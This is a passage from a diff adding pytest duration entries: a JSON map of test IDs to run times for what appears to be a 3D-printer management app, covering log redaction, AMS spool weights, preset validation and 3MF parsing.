0.33403096348047256, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_settings_include_all_keys_with_sensitive_redacted": 0.38609119039028883, + "unit/test_support_helpers.py::TestCollectSupportInfo::test_websockets_section": 0.334415583871305, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_connection_error_returns_unreachable": 0.0029505593702197075, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_empty_url_returns_none": 0.0015045395120978355, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_malformed_json_returns_reachable_no_version": 0.0025016795843839645, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_missing_checks_block_returns_no_version": 0.003088749013841152, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_non_200_status_is_reachable_but_no_version": 0.002244267612695694, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_parses_version_from_orcaslicer_field": 0.002045293338596821, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_parses_version_when_wrapper_uses_bambustudio_field": 0.0022450685501098633, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_strips_trailing_slash_before_appending_health": 0.0023221420124173164, + "unit/test_support_helpers.py::TestFetchSlicerHealth::test_version_unknown_propagates_as_string": 0.0020419349893927574, + "unit/test_support_helpers.py::TestFormatBytes::test_bytes": 0.0013987412676215172, + "unit/test_support_helpers.py::TestFormatBytes::test_gigabytes": 0.0014066677540540695, + "unit/test_support_helpers.py::TestFormatBytes::test_kilobytes": 0.0013857074081897736, + "unit/test_support_helpers.py::TestFormatBytes::test_megabytes": 0.0013829832896590233, + "unit/test_support_helpers.py::TestFormatBytes::test_zero": 0.0014103548601269722, + "unit/test_support_helpers.py::TestGetContainerMemoryLimit::test_cgroup_v2_unlimited": 0.0019255094230175018, + "unit/test_support_helpers.py::TestGetContainerMemoryLimit::test_cgroup_v2_with_limit": 0.002539028413593769, + "unit/test_support_helpers.py::TestGetContainerMemoryLimit::test_no_cgroup_files": 0.0017226478084921837, + "unit/test_support_helpers.py::TestParseObicoEnabledPrinters::test_comma_separated_ids_still_parse": 0.0012654410675168037, + "unit/test_support_helpers.py::TestParseObicoEnabledPrinters::test_empty_means_all_printers": 0.0019684387370944023, + "unit/test_support_helpers.py::TestParseObicoEnabledPrinters::test_json_array_is_the_stored_shape": 0.00161643885076046, + "unit/test_support_helpers.py::TestParseObicoEnabledPrinters::test_json_object_is_not_a_printer_list": 0.001238260418176651, + "unit/test_support_helpers.py::TestParseObicoEnabledPrinters::test_non_integer_tokens_are_skipped": 0.0014034509658813477, + "unit/test_support_helpers.py::TestProcessInfo::test_children_are_named_but_never_quoted": 0.33145280089229345, + "unit/test_support_helpers.py::TestProcessInfo::test_heap_census_is_skipped_on_a_large_process": 0.002888512797653675, + "unit/test_support_helpers.py::TestProcessInfo::test_heap_census_runs_on_a_normal_process": 0.328948968090117, + "unit/test_support_helpers.py::TestProcessInfo::test_partial_failures_do_not_lose_the_rest": 0.3264881856739521, + "unit/test_support_helpers.py::TestProcessInfo::test_reports_the_figures_that_separate_the_mechanisms": 0.3419878762215376, + "unit/test_support_helpers.py::TestProcessInfo::test_survives_a_hostile_psutil": 0.002450120635330677, + "unit/test_support_helpers.py::TestRedactRawPushStatus::test_does_not_mutate_input": 0.0016840267926454544, + "unit/test_support_helpers.py::TestRedactRawPushStatus::test_drops_user_filename_and_cloud_ids": 0.0015753218904137611, + "unit/test_support_helpers.py::TestRedactRawPushStatus::test_handles_non_dict_gracefully": 0.0015756338834762573, + "unit/test_support_helpers.py::TestRedactRawPushStatus::test_preserves_print_cfg_and_ams_payloads": 0.0015650736168026924, + "unit/test_support_helpers.py::TestRedactRawPushStatus::test_redacts_net_info_ip_addresses": 0.0015641013160347939, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_edge_case_broadcast_ip": 0.0014000935479998589, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_edge_case_zero_ip": 0.001519237644970417, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_existing_email_redaction_still_works": 0.0014219852164387703, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_existing_path_redaction_still_works": 0.0014386549592018127, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_existing_serial_redaction_still_works": 0.0014258632436394691, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_firmware_version_mixed_with_ip": 0.0014123264700174332, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_firmware_versions_with_leading_zeros_preserved": 0.0014003636315464973, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_invalid_octet_not_redacted": 0.0014211833477020264, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_ipv4_addresses_redacted": 0.0014078086242079735, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_ldap_dn_redacted_in_exception_string": 0.0014117760583758354, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_ldap_dn_redacted_reporter_line": 0.001393621787428856, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_ldap_group_dn_redacted": 0.001416805200278759, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_multiple_ipv4_addresses_redacted": 0.001385936513543129, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_non_dn_key_value_line_not_clobbered": 0.0014404486864805222, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_printer_ip_from_sensitive_strings": 0.0014779698103666306, + "unit/test_support_helpers.py::TestSanitizeLogContent::test_single_rdn_not_redacted": 0.0013891132548451424, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_bools_stay_bools": 0.0015550339594483376, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_does_not_mutate_the_live_snapshot": 0.0016456972807645798, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_float_that_matches_the_serial_regex_survives": 0.0015760939568281174, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_keys_are_left_alone": 0.0015604645013809204, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_non_json_scalars_are_sanitized_not_smuggled": 0.001647726632654667, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_output_always_parses": 0.00159433763474226, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_still_redacts_strings": 0.0016466174274682999, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_the_full_bundle_chain_on_a_real_p1s_payload": 0.0016529792919754982, + "unit/test_support_helpers.py::TestSanitizePushStatusValues::test_walks_nested_containers": 0.0015845196321606636, + "unit/test_sync_ams_weights.py::TestFindTrayInAmsData::test_ams_ht_high_id": 0.001616649329662323, + "unit/test_sync_ams_weights.py::TestFindTrayInAmsData::test_finds_matching_tray": 0.0016293441876769066, + "unit/test_sync_ams_weights.py::TestFindTrayInAmsData::test_multi_ams_unit_lookup": 0.0016073007136583328, + "unit/test_sync_ams_weights.py::TestFindTrayInAmsData::test_returns_none_for_empty_data": 0.0016118409112095833, + "unit/test_sync_ams_weights.py::TestFindTrayInAmsData::test_returns_none_for_missing_ams_unit": 0.0016064904630184174, + "unit/test_sync_ams_weights.py::TestFindTrayInAmsData::test_returns_none_for_missing_tray": 0.0016162581741809845, + "unit/test_sync_ams_weights.py::TestFindTrayInAmsData::test_returns_none_for_none_data": 0.0016011521220207214, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_0_is_valid": 0.0015638619661331177, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_100_is_valid": 0.0016077030450105667, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_101_is_invalid": 0.001592676155269146, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_200_is_invalid": 0.0015898803249001503, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_50_is_valid": 0.00169389508664608, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_minus_1_is_invalid": 0.001604805700480938, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_negative_large_is_invalid": 0.0015872539952397346, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_non_numeric_string_is_invalid": 0.001572207547724247, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_none_is_invalid": 0.0015670275315642357, + "unit/test_sync_ams_weights.py::TestRemainValidation::test_remain_string_number_is_valid": 0.001601802185177803, + "unit/test_sync_ams_weights.py::TestSyncSkipLogic::test_different_value_is_synced": 0.0015983851626515388, + "unit/test_sync_ams_weights.py::TestSyncSkipLogic::test_none_old_used_treated_as_zero": 0.0015880642458796501, + "unit/test_sync_ams_weights.py::TestSyncSkipLogic::test_remain_0_synced_not_skipped": 0.0013065291568636894, + "unit/test_sync_ams_weights.py::TestSyncSkipLogic::test_remain_101_never_reaches_calc": 0.0012858593836426735, + "unit/test_sync_ams_weights.py::TestSyncSkipLogic::test_remain_minus_1_never_reaches_calc": 0.0012789880856871605, + "unit/test_sync_ams_weights.py::TestSyncSkipLogic::test_same_value_is_skipped": 0.0016031265258789062, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_none_label_weight_defaults_to_1000": 0.0016144579276442528, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_odd_fraction_rounds_correctly": 0.001611238345503807, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_remain_0_means_fully_used": 0.0016473382711410522, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_remain_100_means_no_usage": 0.0023904601112008095, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_remain_50_with_1000g_spool": 0.0017338301986455917, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_respects_label_weight_250g": 0.0016244947910308838, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_respects_label_weight_500g": 0.0016271397471427917, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_result_is_rounded_to_one_decimal": 0.0015837186947464943, + "unit/test_sync_ams_weights.py::TestWeightCalculation::test_small_spool_small_remain": 0.001611560583114624, + "unit/test_systemd_backup_paths.py::TestInstallersPreserveCustomPaths::test_existing_unit_is_read_for_custom_paths_and_backed_up[install/install.sh]": 0.0013872403651475906, + "unit/test_systemd_backup_paths.py::TestInstallersPreserveCustomPaths::test_existing_unit_is_read_for_custom_paths_and_backed_up[spoolbuddy/install/install.sh]": 0.0013920888304710388, + "unit/test_systemd_backup_paths.py::TestInstallersPreserveCustomPaths::test_generated_unit_appends_the_carried_over_paths[install/install.sh]": 0.0015640109777450562, + "unit/test_systemd_backup_paths.py::TestInstallersPreserveCustomPaths::test_generated_unit_appends_the_carried_over_paths[spoolbuddy/install/install.sh]": 0.001595761626958847, + "unit/test_systemd_backup_paths.py::TestUnitTemplate::test_readwritepaths_still_grants_the_three_app_dirs": 0.0013709207996726036, + "unit/test_systemd_backup_paths.py::TestUnitTemplate::test_unit_explains_how_to_add_a_backup_share": 0.001436612568795681, + "unit/test_telegram_forum_topic.py::test_blank_thread_id_is_treated_as_unset": 0.0015407968312501907, + "unit/test_telegram_forum_topic.py::test_error_message_does_not_leak_bot_token": 0.0014749038964509964, + "unit/test_telegram_forum_topic.py::test_non_numeric_thread_id_fails_without_sending": 0.0014859037473797798, + "unit/test_telegram_forum_topic.py::test_sendmessage_carries_thread_id_as_int": 0.0015166113153100014, + "unit/test_telegram_forum_topic.py::test_sendphoto_carries_thread_id": 0.001520761288702488, + "unit/test_telegram_forum_topic.py::test_thread_id_accepts_native_int": 0.0015187952667474747, + "unit/test_telegram_forum_topic.py::test_thread_id_omitted_when_unset": 0.0015928251668810844, + "unit/test_temperature_fan_presets.py::test_above_range_rejected[bed_temp_presets-[55, 75, 90]-0-140]": 0.001424640417098999, + "unit/test_temperature_fan_presets.py::test_above_range_rejected[chamber_temp_presets-[35, 45, 60]-0-65]": 0.0014410186558961868, + "unit/test_temperature_fan_presets.py::test_above_range_rejected[fan_speed_presets-[50, 75, 100]-0-100]": 0.0014381958171725273, + "unit/test_temperature_fan_presets.py::test_above_range_rejected[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0014190003275871277, + "unit/test_temperature_fan_presets.py::test_below_range_rejected[bed_temp_presets-[55, 75, 90]-0-140]": 0.00187769066542387, + "unit/test_temperature_fan_presets.py::test_below_range_rejected[chamber_temp_presets-[35, 45, 60]-0-65]": 0.001483541913330555, + "unit/test_temperature_fan_presets.py::test_below_range_rejected[fan_speed_presets-[50, 75, 100]-0-100]": 0.0014395490288734436, + "unit/test_temperature_fan_presets.py::test_below_range_rejected[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0021769097074866295, + "unit/test_temperature_fan_presets.py::test_booleans_rejected_even_though_python_treats_them_as_ints": 0.0013859979808330536, + "unit/test_temperature_fan_presets.py::test_empty_string_means_use_defaults[bed_temp_presets-[55, 75, 90]-0-140]": 0.001371540129184723, + "unit/test_temperature_fan_presets.py::test_empty_string_means_use_defaults[chamber_temp_presets-[35, 45, 60]-0-65]": 0.001388993114233017, + "unit/test_temperature_fan_presets.py::test_empty_string_means_use_defaults[fan_speed_presets-[50, 75, 100]-0-100]": 0.001381170004606247, + "unit/test_temperature_fan_presets.py::test_empty_string_means_use_defaults[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0013814810663461685, + "unit/test_temperature_fan_presets.py::test_float_entries_rejected[bed_temp_presets-[55, 75, 90]-0-140]": 0.0014539165422320366, + "unit/test_temperature_fan_presets.py::test_float_entries_rejected[chamber_temp_presets-[35, 45, 60]-0-65]": 0.0014576399698853493, + "unit/test_temperature_fan_presets.py::test_float_entries_rejected[fan_speed_presets-[50, 75, 100]-0-100]": 0.001467541791498661, + "unit/test_temperature_fan_presets.py::test_float_entries_rejected[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.001468772068619728, + "unit/test_temperature_fan_presets.py::test_malformed_json_rejected[bed_temp_presets-[55, 75, 90]-0-140]": 0.0014309221878647804, + "unit/test_temperature_fan_presets.py::test_malformed_json_rejected[chamber_temp_presets-[35, 45, 60]-0-65]": 0.0014279354363679886, + "unit/test_temperature_fan_presets.py::test_malformed_json_rejected[fan_speed_presets-[50, 75, 100]-0-100]": 0.0014460328966379166, + "unit/test_temperature_fan_presets.py::test_malformed_json_rejected[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0014675604179501534, + "unit/test_temperature_fan_presets.py::test_missing_field_is_optional[bed_temp_presets-[55, 75, 90]-0-140]": 0.001380658708512783, + "unit/test_temperature_fan_presets.py::test_missing_field_is_optional[chamber_temp_presets-[35, 45, 60]-0-65]": 0.0013921791687607765, + "unit/test_temperature_fan_presets.py::test_missing_field_is_optional[fan_speed_presets-[50, 75, 100]-0-100]": 0.0014952635392546654, + "unit/test_temperature_fan_presets.py::test_missing_field_is_optional[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0013613905757665634, + "unit/test_temperature_fan_presets.py::test_non_array_rejected[bed_temp_presets-[55, 75, 90]-0-140]": 0.0014259638264775276, + "unit/test_temperature_fan_presets.py::test_non_array_rejected[chamber_temp_presets-[35, 45, 60]-0-65]": 0.0014205323532223701, + "unit/test_temperature_fan_presets.py::test_non_array_rejected[fan_speed_presets-[50, 75, 100]-0-100]": 0.0014305515214800835, + "unit/test_temperature_fan_presets.py::test_non_array_rejected[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.001440851017832756, + "unit/test_temperature_fan_presets.py::test_range_bounds_inclusive[bed_temp_presets-[55, 75, 90]-0-140]": 0.0014114640653133392, + "unit/test_temperature_fan_presets.py::test_range_bounds_inclusive[chamber_temp_presets-[35, 45, 60]-0-65]": 0.001421155408024788, + "unit/test_temperature_fan_presets.py::test_range_bounds_inclusive[fan_speed_presets-[50, 75, 100]-0-100]": 0.0014114351943135262, + "unit/test_temperature_fan_presets.py::test_range_bounds_inclusive[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0014276159927248955, + "unit/test_temperature_fan_presets.py::test_string_entries_rejected[bed_temp_presets-[55, 75, 90]-0-140]": 0.0015745023265480995, + "unit/test_temperature_fan_presets.py::test_string_entries_rejected[chamber_temp_presets-[35, 45, 60]-0-65]": 0.002170567400753498, + "unit/test_temperature_fan_presets.py::test_string_entries_rejected[fan_speed_presets-[50, 75, 100]-0-100]": 0.0022124163806438446, + "unit/test_temperature_fan_presets.py::test_string_entries_rejected[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0020156893879175186, + "unit/test_temperature_fan_presets.py::test_valid_triple_round_trips[bed_temp_presets-[55, 75, 90]-0-140]": 0.0014102235436439514, + "unit/test_temperature_fan_presets.py::test_valid_triple_round_trips[chamber_temp_presets-[35, 45, 60]-0-65]": 0.001380637288093567, + "unit/test_temperature_fan_presets.py::test_valid_triple_round_trips[fan_speed_presets-[50, 75, 100]-0-100]": 0.001387130469083786, + "unit/test_temperature_fan_presets.py::test_valid_triple_round_trips[nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0014581028372049332, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200, 300, 400]-bed_temp_presets-[55, 75, 90]-0-140]": 0.0014327941462397575, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200, 300, 400]-chamber_temp_presets-[35, 45, 60]-0-65]": 0.001542920246720314, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200, 300, 400]-fan_speed_presets-[50, 75, 100]-0-100]": 0.0014755874872207642, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200, 300, 400]-nozzle_temp_presets-[120, 220, 260]-0-320]": 0.00144136231392622, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200]-bed_temp_presets-[55, 75, 90]-0-140]": 0.0014538653194904327, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200]-chamber_temp_presets-[35, 45, 60]-0-65]": 0.001460016705095768, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200]-fan_speed_presets-[50, 75, 100]-0-100]": 0.0014461101964116096, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100, 200]-nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0014644758775830269, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100]-bed_temp_presets-[55, 75, 90]-0-140]": 0.0014738040044903755, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100]-chamber_temp_presets-[35, 45, 60]-0-65]": 0.0014719581231474876, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100]-fan_speed_presets-[50, 75, 100]-0-100]": 0.0014620982110500336, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[100]-nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0014559803530573845, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[]-bed_temp_presets-[55, 75, 90]-0-140]": 0.0018607676029205322, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[]-chamber_temp_presets-[35, 45, 60]-0-65]": 0.001488308422267437, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[]-fan_speed_presets-[50, 75, 100]-0-100]": 0.0014937389642000198, + "unit/test_temperature_fan_presets.py::test_wrong_length_rejected[[]-nozzle_temp_presets-[120, 220, 260]-0-320]": 0.0014741141349077225, + "unit/test_threemf_tools.py::TestExpandToProjectSlots::test_a_single_used_slot_still_produces_a_full_positional_list": 0.0014025792479515076, + "unit/test_threemf_tools.py::TestExpandToProjectSlots::test_a_used_slot_beyond_the_project_list_is_kept": 0.0015161903575062752, + "unit/test_threemf_tools.py::TestExpandToProjectSlots::test_every_slot_used_is_a_shape_change_only": 0.001385006122291088, + "unit/test_threemf_tools.py::TestExpandToProjectSlots::test_padding_rows_carry_the_project_type_and_colour": 0.0014583645388484001, + "unit/test_threemf_tools.py::TestExpandToProjectSlots::test_returns_the_input_unchanged_without_project_settings": 0.0018330663442611694, + "unit/test_threemf_tools.py::TestExpandToProjectSlots::test_the_used_row_keeps_its_usage_figures": 0.0013850759714841843, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_invalid_file_returns_none": 0.0016585970297455788, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_missing_slice_info_returns_none": 0.0015409672632813454, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_multi_plate_returns_per_plate_value": 0.0018246807157993317, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_no_plate_id_returns_first_plate": 0.001625807024538517, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_plate_without_bed_type_returns_none": 0.0017401231452822685, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_single_plate_returns_bed_type": 0.0016654087230563164, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_unknown_plate_id_returns_none": 0.0016192244365811348, + "unit/test_threemf_tools.py::TestExtractBedTypeFrom3mf::test_whitespace_trimmed": 0.0015746913850307465, + "unit/test_threemf_tools.py::TestExtractEmbeddedPresetsFrom3mf::test_blank_and_absent_keys_yield_none": 0.001554802991449833, + "unit/test_threemf_tools.py::TestExtractEmbeddedPresetsFrom3mf::test_extracts_printer_and_process": 0.0013731122016906738, + "unit/test_threemf_tools.py::TestExtractEmbeddedPresetsFrom3mf::test_malformed_json_returns_none_values": 0.002131274901330471, + "unit/test_threemf_tools.py::TestExtractEmbeddedPresetsFrom3mf::test_missing_config_returns_none_values": 0.0013210652396082878, + "unit/test_threemf_tools.py::TestExtractEmbeddedPresetsFrom3mf::test_settings_id_as_list_takes_first": 0.0013586878776550293, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_extract_filament_with_plate_id": 0.001512172631919384, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_extract_multiple_filaments": 0.0015462590381503105, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_extract_single_filament": 0.001612241379916668, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_filament_without_id_is_skipped": 0.0015165526419878006, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_invalid_file_returns_empty": 0.0014942102134227753, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_invalid_used_g_is_skipped": 0.0014944206923246384, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_missing_optional_fields": 0.001489892601966858, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_missing_slice_info_returns_empty": 0.0014325762167572975, + "unit/test_threemf_tools.py::TestExtractFilamentUsageFrom3mf::test_nonexistent_file_returns_empty": 0.0014281654730439186, + "unit/test_threemf_tools.py::TestExtractLayerFilamentUsagePlateSelection::test_no_gcode_member_returns_none": 0.001450028270483017, + "unit/test_threemf_tools.py::TestExtractLayerFilamentUsagePlateSelection::test_no_plate_asked_for_takes_the_lowest_numbered_plate": 0.0015001213178038597, + "unit/test_threemf_tools.py::TestExtractLayerFilamentUsagePlateSelection::test_plate_two_reads_plate_two": 0.0015004826709628105, + "unit/test_threemf_tools.py::TestExtractLayerFilamentUsagePlateSelection::test_reads_the_requested_plate_not_the_first_member": 0.0020448947325348854, + "unit/test_threemf_tools.py::TestExtractLayerFilamentUsagePlateSelection::test_requested_plate_missing_returns_none_rather_than_another_plate": 0.0014352789148688316, + "unit/test_threemf_tools.py::TestExtractLayerFilamentUsagePlateSelection::test_single_unnumbered_gcode_is_used_for_any_plate": 0.0014577805995941162, + "unit/test_threemf_tools.py::TestExtractLayerFilamentUsagePlateSelection::test_unreadable_file_returns_none": 0.0014082184061408043, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_falls_back_to_the_only_gcode_when_the_plate_name_does_not_match": 0.0014307014644145966, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_missing_file_returns_none": 0.0013364655897021294, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_missing_header_key_returns_none": 0.0014161746948957443, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_no_gcode_member_returns_none": 0.0013992814347147942, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_non_numeric_value_returns_none": 0.001437382772564888, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_only_the_header_is_inflated": 0.015175261534750462, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_picks_the_requested_plate": 0.0014436356723308563, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_reads_max_z_height_from_the_plate_header": 0.0015474501997232437, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_unreadable_file_returns_none": 0.0014820285141468048, + "unit/test_threemf_tools.py::TestExtractMaxZHeightFrom3mf::test_zero_and_negative_are_treated_as_unknown": 0.001538984477519989, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_corrupt_xml_returns_empty_set_no_exception": 0.0013894038274884224, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_missing_per_object_model_file_silently_skipped": 0.0014699939638376236, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_object_top_level_extruder_only": 0.0015624277293682098, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_painted_face_above_threshold_kept": 0.001719602383673191, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_painted_face_below_threshold_dropped_as_noise": 0.0015612170100212097, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_per_part_extruder_unions_with_top_level": 0.001463322900235653, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_returns_empty_set_when_model_settings_missing": 0.001401747576892376, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_unknown_plate_id_returns_empty_set": 0.0014319131150841713, + "unit/test_threemf_tools.py::TestExtractPlateExtruderSetFrom3mf::test_zero_extruder_value_ignored": 0.0014268336817622185, + "unit/test_threemf_tools.py::TestExtractPlateMetadataFrom3mf::test_changed_file_reparses": 0.0018075387924909592, + "unit/test_threemf_tools.py::TestExtractPlateMetadataFrom3mf::test_combines_all_three_fields_for_plate": 0.0015482725575566292, + "unit/test_threemf_tools.py::TestExtractPlateMetadataFrom3mf::test_missing_file_returns_empty_and_is_not_cached": 0.0016715433448553085, + "unit/test_threemf_tools.py::TestExtractPlateMetadataFrom3mf::test_non_numeric_filament_id_is_skipped_not_raised": 0.0016261674463748932, + "unit/test_threemf_tools.py::TestExtractPlateMetadataFrom3mf::test_plate_id_none_matches_legacy_behaviour": 0.0015513589605689049, + "unit/test_threemf_tools.py::TestExtractPlateMetadataFrom3mf::test_second_call_hits_cache_without_reparsing": 0.0016753599047660828, + "unit/test_threemf_tools.py::TestExtractPlateMetadataFrom3mf::test_wrapper_returns_mutable_copy": 0.001539105549454689, + "unit/test_threemf_tools.py::TestExtractPrintTimeFrom3mf::test_returns_first_plate_when_no_plate_id": 0.001574651338160038, + "unit/test_threemf_tools.py::TestExtractPrintTimeFrom3mf::test_returns_none_when_file_invalid": 0.0016802288591861725, + "unit/test_threemf_tools.py::TestExtractPrintTimeFrom3mf::test_returns_none_when_file_missing": 0.0015872335061430931, + "unit/test_threemf_tools.py::TestExtractPrintTimeFrom3mf::test_returns_none_when_plate_id_missing": 0.0017330292612314224, + "unit/test_threemf_tools.py::TestExtractPrintTimeFrom3mf::test_returns_none_when_prediction_unparseable": 0.0016322387382388115, + "unit/test_threemf_tools.py::TestExtractPrintTimeFrom3mf::test_returns_none_when_slice_info_missing": 0.0016099987551569939, + "unit/test_threemf_tools.py::TestExtractPrintTimeFrom3mf::test_returns_plate_prediction_when_plate_id_matches": 0.0016013318672776222, + "unit/test_threemf_tools.py::TestExtractProjectFilamentsFrom3mf::test_corrupt_json_returns_empty_no_exception": 0.0013606110587716103, + "unit/test_threemf_tools.py::TestExtractProjectFilamentsFrom3mf::test_empty_arrays_returns_empty": 0.0013635661453008652, + "unit/test_threemf_tools.py::TestExtractProjectFilamentsFrom3mf::test_happy_path_returns_one_entry_per_slot": 0.0013917488977313042, + "unit/test_threemf_tools.py::TestExtractProjectFilamentsFrom3mf::test_mismatched_array_lengths_use_max_with_blanks": 0.001381058245897293, + "unit/test_threemf_tools.py::TestExtractProjectFilamentsFrom3mf::test_returns_empty_when_project_settings_missing": 0.001364278607070446, + "unit/test_threemf_tools.py::TestExtractProjectFilamentsFrom3mf::test_root_is_list_returns_empty": 0.0013572238385677338, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_boolean_enable_support_accepted": 0.001342475414276123, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_distinct_support_body_and_interface_slots": 0.0015092883259057999, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_integer_slot_value_accepted": 0.0016879132017493248, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_malformed_json_returns_empty": 0.0013550492003560066, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_missing_project_settings_returns_empty": 0.0016094855964183807, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_non_numeric_slot_value_skipped": 0.001350371167063713, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_pla_object_plus_pva_support_returns_support_slot": 0.0015254803001880646, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_root_is_list_returns_empty": 0.0013589868322014809, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_slot_zero_treated_as_same_as_model": 0.0013599460944533348, + "unit/test_threemf_tools.py::TestExtractSupportFilamentSlotsFrom3mf::test_supports_disabled_returns_empty": 0.0013464856892824173, + 